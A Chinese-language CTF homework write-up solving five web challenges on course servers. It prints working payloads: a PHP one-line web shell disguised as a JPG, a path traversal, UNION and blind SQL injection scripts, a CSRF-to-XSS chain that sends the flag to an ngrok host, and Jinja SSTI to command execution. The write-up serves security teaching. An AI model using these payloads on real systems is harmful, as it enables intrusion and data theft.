###### tags: `Computer Security`
# HW0x02 Writeup (Web)
[TOC]
## 1. Imgura
直接找.git就發現有東西,講義上附的githack不知為什麼跑不起來,所以我另外找了一個GitHack~[1]~把.git資料夾抓下來
先用git log查看commit紀錄:

看起來要的東西應該在first commit內。
git的**ls-tree指令可以查看各個版本的內容**~[3]~,
:::info
使用方法:git ls-tree {hash值}
:::

看到了後來的版本中被砍掉的dev_test_page,連到imgura.chal.h4ck3r.quest/dev_test_page/後會發現一個上傳介面:

利用**cat-file指令可以查看某個檔案的內容**,可以利用這個指令把upload的source code撈出來。
:::info
使用方法:git cat-file -p {hash值} (-p為pretty print)
:::
從upload的souce中可以看到擋掉了php附檔名和內文有```<?php```字眼的檔案。所以需要偽造一個假的圖片,至於 **```<?php```可以改用```<?=```來代替**。
先構造一個一句話木馬,檔名取叫<whatever>.jpg.php:
```
abcd<?= system($_GET[cmd]);?>
```
然後竄改檔案的Magic Number,我使用的是PyHex~[4]~
JPG的Magic Number是FF D8 FF E8~[5]~

上傳後就可以直接找flag了。
:::info
`https://imgura.chal.h4ck3r.quest/dev_test_page/images/272a3d96_hello.jpg.php?cmd=cat%20/this_is_flaggggg`
:::
:::success
:triangular_flag_on_post: FLAG{ImgurAAAAAA}
:::
#### Reference:
1. https://github.com/BugScanTeam/GitHack
2. https://www.jianshu.com/p/0ea09975169d
3. https://www.slmt.tw/blog/2016/08/21/dont-expose-your-git-dir/
4. https://github.com/Builditluc/PyHex
5. https://filesignatures.net/index.php
---
## 2. DVD Screensaver
從source code看到可以用/static/做path traversal,但試了幾次發現"$..$"都會直接被normalize掉,查了才發現用**curl的--path-as-is功能可以避掉normalize**。~[1]~ ~[2]~
:::info
`curl -v -X CONNECT --path-as-is http://dvd.chal.h4ck3r.quest:10001/static/../../proc/self/environ --output -`
:::
:::success
SECRET_KEY=d2908c1de1cd896d90f09df7df67e1d4
:::
把SECRET_KEY貼到source中並把app跑起來就可以偽造cookie。
接著是SQL injection的部份,先用guest登入後把cookie替換成本地用username="admin"生成的cookie就可以看到username為admin時的畫面

結果是假的FLAG(
既然FLAG一定長成"FLAG{...}"的形式,只要改成從flag形式來搜尋就可以撈到了,可以利用UNION SELECT來達成。
> fmt.Sprintf("SELECT username, flag FROM users WHERE username='%s'", username)
:::info
username = "meow' UNION SELECT username, flag FROM users WHERE flag LIKE '%FLAG{%'"
:::

:::success
:triangular_flag_on_post: FLAG{WOW_I_am_the_real_flag____MEOWWWW}
:::
#### Reference:
1. https://ilya.app/blog/servemux-and-path-traversal
2. https://pkg.go.dev/net/http#ServeMux.Handler
---
## 3. Profile Card
可以編輯頭像的URL,資料卡標題和一個Bio,還有匯出成HTML或markdown的功能,不過一開始看不出來匯出有什麼用途。


打開app.js可以看到更新profile的過程,src和textContent不能夾script,所以能執行XSS的點應該在innerHTML,在Bio處塞一些HTML的tag也會跟著反映這點也可以看出來。

從這邊大概可以擬定整個策略應該會是:
**傳送惡意連結給admin->觸發CSRF並導回原頁面->CSRF的payload導致XSS->傳送flag**
嘗試著塞最簡單的兩個payload試看看:
:::info
```
<script>alert(1)</script> : 會被吃掉,轉成<bad>
<img src=x onload=alert(1)> :會被CSP設定擋掉
```
:::
CSP設定,非常的嚴格~[1]~:

先從CSRF的部份開始,這邊參考~[2]~作法裡的Old Method,比較特別的是因為表單以JSON格式送出後會自動pad一些東西導致打update API時會解析失敗,所以多塞了一項key(反正update時不會看這項),並讓結尾閉合不完整(其實確定為什麼但不讓他這樣結尾就會被pad東西導致api報500),就可以讓他更新成功。CSRF後再導回原本的畫面。
payload的樣子,因為submit時會跳到新的tab,所以設了個iframe讓他在裡面跑。
```html!
<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
<form id="edit-form" method="POST" enctype="text/plain" target="dummyframe" action="https://profile.chal.h4ck3r.quest/api/update">
<input name='{"avatar":"/static/default-
avatar.png","title":"CSRFed!","profile":"<a
href=https://f3d5-1-174-37-6.ngrok.io>bleh</a>",
"ignore-me":"' value=test"}>
</form>
Hacked!
<iframe name="dummyframe" id="dummyframe" style="display: none;"></iframe>
<script>
$("#edit-form").submit();
setTimeout(
function(){
window.location.href = "https://profile.chal.h4ck3r.quest/";
},
2000);
</script>
```
再來就是思考如何生出一個能XSS的payload了。
從文件~[3]~說明可以知道在innerHTML裡夾script tag的話是不會執行script的,但是像是<img alert(1)>或者用javascript:alert(1)等等方式的payload又會被CSP的規定擋掉,在這邊卡了許久。
後來才想起來雖然**innerHTML內不能跑script,但是iframe內的script仍然是可以被執行的**。不過即使這樣,就算script能塞進去,還是會被CSP的限制擋住....
卡了一陣子從一篇writeup~[4]~中看到了解法:因為CSP限制只能載入相同domain內的script,**只要能找到同domain內能夠利用的頁面,並改造成合法的js檔案,仍然可以引入使用。**
想了半天才終於領悟export在此題的用處。
這裡我選擇以markdown匯出(因為輸出內容比較少比較好改造)。沒試過HTML可不可行。
利用update API改成合法的JS但同時也是合法的HTML,在iframe內引入就能達到XSS。
改造後的payload如下,其實後來應該是因為編碼有點太亂解析時會噴500,所以先做encode:
```html!
<input name='{"avatar":"alert(1))];/*","title":" */ /*","profile":"<a href="https://f3d5-1-174-37-6.ngrok.io">bleh</a><iframe srcdoc=\u0022\u0026\u006c\u0074\u003b\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0070\u0072\u006f\u0066\u0069\u006c\u0065\u002e\u0063\u0068\u0061\u006c\u002e\u0068\u0034\u0063\u006b\u0033\u0072\u002e\u0071\u0075\u0065\u0073\u0074\u002f\u0065\u0078\u0070\u006f\u0072\u0074\u003f\u0066\u006f\u0072\u006d\u0061\u0074\u003d\u006d\u0061\u0072\u006b\u0064\u006f\u0077\u006e\u0026\u0067\u0074\u003b\u0026\u006c\u0074\u003b\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u0026\u0067\u0074\u003b\u0022></iframe>*/","ignore-me":"' value=test"}>
<!-- srcdoc內等同於"<script src=https://profile.chal.h4ck3r.quest/export?format=markdown></script>" -->
```
render出的markdown如下,整個後半部都等同於註解掉了:
```markdown=!
[)];/*)](https://github.com/turtle)
# @turtle
### */ /*
---
<a href="https://f3d5-1-174-37-6.ngrok.io">bleh</a><iframe srcdoc="<script src=https://profile.chal.h4ck3r.quest/export?format=markdown></script>"></iframe>*/
```
雖然前面的```[
這樣就能開始寫script了,基本上跟lab差不多,不一樣的地方在於因為CSP的關係使用location.href會被connect-src的設定擋掉,改用window.open就能躲過限制:
最終payload:
```html!
<input name='{"avatar":"fetch(`/flag`).then(r=>r.text()).then(flag=>window.open(`https://c979-1-174-37-6.ngrok.io/kekw?${flag}`)))];/*","title":" */ /*","profile":"<a href=\u0022https://c979-1-174-37-6.ngrok.io\u0022>bleh</a><iframe srcdoc=\u0022\u0026\u006c\u0074\u003b\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0070\u0072\u006f\u0066\u0069\u006c\u0065\u002e\u0063\u0068\u0061\u006c\u002e\u0068\u0034\u0063\u006b\u0033\u0072\u002e\u0071\u0075\u0065\u0073\u0074\u002f\u0065\u0078\u0070\u006f\u0072\u0074\u003f\u0066\u006f\u0072\u006d\u0061\u0074\u003d\u006d\u0061\u0072\u006b\u0064\u006f\u0077\u006e\u0026\u0067\u0074\u003b\u0026\u006c\u0074\u003b\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u0026\u0067\u0074\u003b\u0022></iframe>\u002a\u002f","ignore-me":"' value=test"}>
<!-- srcdoc內等同於"<script src=https://profile.chal.h4ck3r.quest/export?format=markdown></script>" -->
```
然後把server網址report給admin就能領flag了。
:::success
:triangular_flag_on_post: FLAG{W0W_you_expl0ited_th3_s3lf_xss}
:::
#### Reference:
1. https://csp-evaluator.withgoogle.com/
2. https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/
3. https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML
4. https://tech-blog.cymetrics.io/posts/huli/learn-from-intigriti-xss-0721/
---
## 4. Double SSTI
Source code可以發現第一層用了handlebars,上網查應該都會找到一篇用Handlebars SSTI一個shopify app達到RCE的文~[1]~,不過後來才發現原來這個洞被修掉了。~[2]~
因為server檔掉了secret這個關鍵字,本來想用string replace等方式來解,但事實上server根本沒有Register任何helper,只能使用內建的helper。後來找到一篇利用內建的each helper把secret一個char一個char讀出來的方法。~[3]~
```python=
import requests
from pwn import *
secret = ''
while True:
content = '{{#each this}}{{#unless @first}}{{this.[%d]}} \
{{/unless}}{{/each}}' % len(secret)
r = requests.get('https://double-ssti.chal.h4ck3r.quest \
/welcome?name=' + urlencode(content))
#print(r.content.decode())
tmp = r.content.decode().split(' ')[1][0]
secret += tmp
print(secret)
if(secret[-1] == '!'):
break
```

這樣一個一個爆出來感覺蠻爽的,但後來發現其實根本不需要迴圈
:::info
name = {{#each this}}{{#unless @first}}{{this}}{{/unless}}{{/each}}
:::
:::success
secret = 77777me0w_me0w_s3cr3t77777
:::
第二層從source知道是jinja,但底線之類等等被過濾,從~[4]~可以知道能用|attr()的方式來代替屬性用的點".",底線可以用\x5f代替。此外,講義上的**os.system()只會回傳status**,所以要用其他方式讀flag,可以用~[4]~裡的subprocess或者os._warp_close來達成RCE。
:::info
```
name = "
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')| \
attr('\x5f\x5fsubclasses\x5f\x5f')()| \
attr('\x5f\x5fgetitem\x5f\x5f')(132)| \
attr('\x5f\x5finit\x5f\x5f')| \
attr('\x5f\x5fglobals\x5f\x5f')| \
attr('\x5f\x5fgetitem\x5f\x5f')('popen')('cat /y000_i_am_za_fl4g')| \
attr('readlines')()}}"
```
:::
:::success
:triangular_flag_on_post: FLAG{SssssstiiiiiiI}
:::
#### Reference:
1. http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html
2. https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-1056767
3. https://fireshellsecurity.team/defenit-ctf-some-tasks/#web---babyjs
4. https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f
---
## 5. Log me in : FINAL
既然題目說要試著戳出500,所以就先隨便亂送一些request試試:
先用postman直接送一個沒有body的請求:

可以發現SQL的語法直接被抖出來,而且還會過濾單、雙引號
> str.gsub(/['"]/,'\\\\\0')
> query = "SELECT * FROM users WHERE username='#{addslashes(@params['username'])}' and password='#{addslashes(@params['password'])}'"
只要在username尾巴補一個\,username的第一個單引號就會跟password的第一個單引號閉合,等同於username變成(以輸入meow\為例)meow\' and password=這一串,後面就可以接一些自己要的輸入。
登入後只會出現Welcome或Incorrect username or password。而因為meow\' and password=這個username不存在,配合一個or 2>1之類的東西,就可以進行boolean blind SQLi。
實際測的時候發現SELECT,OR,AND,空白之類的也會被濾掉,不過or 可以用||代替,SELECT的話,只要中間加個空白,讓空白自己過濾掉就可以組起來,而**SQL語法內的空白可以用```/**/```代替**。
```python=
pswd = ""
while True :
for position in range(1, 99):
print(position)
for asciivalue in range(32, 126):
payload = {
"username" : "meow\\",
"password" : "|| (ascii(substr((SEL ECT/**/passwo rd \
/**/FROM/**/users/**/LIMIT/**/1,1)," + str(position) + \
",1))) > " + str(asciivalue) +" #",
}
r = requests.post(url, data = payload)
#print(r.content.decode())
if (r.content.decode() == 'Incorrect username or password.'):
pswd = pswd + chr(asciivalue)
print(pswd)
break
```
範例的script如上,把admin的密碼一個字一個字抖出來,

結果說FLAG在其他table,但照著上面的方式,可以利用information_schema把其他資料庫名稱和column都挖出來:
:::success
Tables:
h3y_here_15_the_flag_y0u_w4nt,meow,flag,users
Columns:
i_4m_th3_fl4g,password,uid,username,password
:::
很明顯的看見flag應該在h3y_here_15_the_flag_y0u_w4nt的i_4m_th3_fl4g內

結果居然說找不到此table,解的時候一直想不透明明有但為什麼會說找不到table...結果挖了info rmation_schema.TABLES裡的table_schema...
:::success
Table schema:
db,db,information_schema...
:::
原來是自己被騙,其實table名稱是h3y_here_15_the_flag_y0u_w4nt,meow,flag
實際上只有兩個table,不是4個。
確定table名稱和column名稱就可以用一樣的方式得到flag。
當初快解掉時才發現其實用error_based的方法也可以,就不用等迴圈一個字一個字慢慢爆。
:::info
```!
username = "meow\"
password = "||(SEL ECT/**/ExtractValue(1, concat(0x0A, mid((SEL ECT/**/i_4m_th3_fl4g/**/from/**/`h3y_here_15_the_flag_y0u_w4nt,meow,flag`),1,32))))#"
```
:::

:::success
:triangular_flag_on_post: FLAG{!!!b00lean_bas3d_OR_err0r_based_sqli???}
:::
#### Reference:
1. https://blog.csdn.net/qq_42181428/article/details/105061424
2. https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/